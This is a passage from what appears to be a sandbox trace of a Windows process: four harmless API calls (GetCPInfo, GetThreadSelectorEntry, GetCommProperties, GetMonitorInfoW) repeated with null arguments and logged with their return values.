GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.067] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.067] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.067] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.068] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.068] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.068] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.068] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.068] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.068] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.068] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.068] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.068] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.068] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.068] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.068] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.068] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.068] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.068] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.068] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.068] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.069] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.069] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.069] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.069] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.069] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.069] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.069] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.069] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.069] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.069] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.069] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.069] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.069] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.069] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.069] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.069] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.070] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.070] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.070] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.070] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.070] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.070] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.070] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.070] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.070] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.070] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.070] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.070] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.070] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.070] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.070] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.070] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.070] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.071] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.071] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.071] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.071] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.071] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.071] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.071] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.071] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.071] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.071] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.071] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.071] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.071] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.071] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.071] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.071] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.072] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.072] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.072] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.072] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.072] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.072] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.072] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.072] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.072] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.072] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.072] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.072] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.073] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.073] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.073] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.073] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.073] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.073] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.073] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.073] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.073] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.073] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.073] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.073] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.073] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.073] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.073] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.073] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.074] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.074] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.074] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.074] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.074] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.074] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.074] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.074] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.074] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.074] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.074] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.074] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.074] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.074] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.074] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.074] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.075] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.075] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.075] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.075] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.075] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.075] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.075] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.075] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.075] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.075] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.170] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.170] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.170] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.171] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.171] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.171] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.179] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.179] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.179] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.179] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.179] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.179] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.179] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.179] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.179] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.179] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.179] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.179] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.179] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.180] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.180] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.180] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.180] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.180] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.180] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.180] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.180] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.180] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.180] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.180] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.180] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.180] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.180] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.180] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.180] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.181] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.181] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.181] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.181] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: 